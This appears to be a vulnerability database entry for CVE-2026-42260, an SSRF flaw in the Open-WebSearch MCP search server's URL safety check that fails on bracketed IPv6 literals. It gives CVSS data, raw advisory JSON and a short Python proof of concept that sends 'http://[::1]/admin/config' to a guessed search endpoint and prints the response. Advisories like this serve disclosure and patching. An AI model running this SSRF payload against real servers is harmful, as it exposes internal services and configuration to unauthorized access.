Security Vulnerability Report
中文
CVE-2026-42260 CVSS 8.2 HIGH

CVE-2026-42260

Published: 2026-05-12 15:16:15
Last Modified: 2026-05-14 20:17:04

Description

Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open-WebSearch < 2.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42260 # This script demonstrates the SSRF vulnerability by targeting the localhost via IPv6. import requests def trigger_ssrf(target_server): # The vulnerable endpoint expects a URL parameter # The application fails to block bracketed IPv6 literals like [::1] malicious_url = "http://[::1]/admin/config" payload = { "url": malicious_url } print(f"[*] Attempting to send SSRF request to: {target_server}") print(f"[*] Payload URL: {malicious_url}") try: response = requests.post(target_server, json=payload) if response.status_code == 200: print("[+] Request successful. Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://localhost:8080/api/search" trigger_ssrf(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42260", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:15.150", "lastModified": "2026-05-14T20:17:04.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j", "source": "[email protected]"}, {"url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}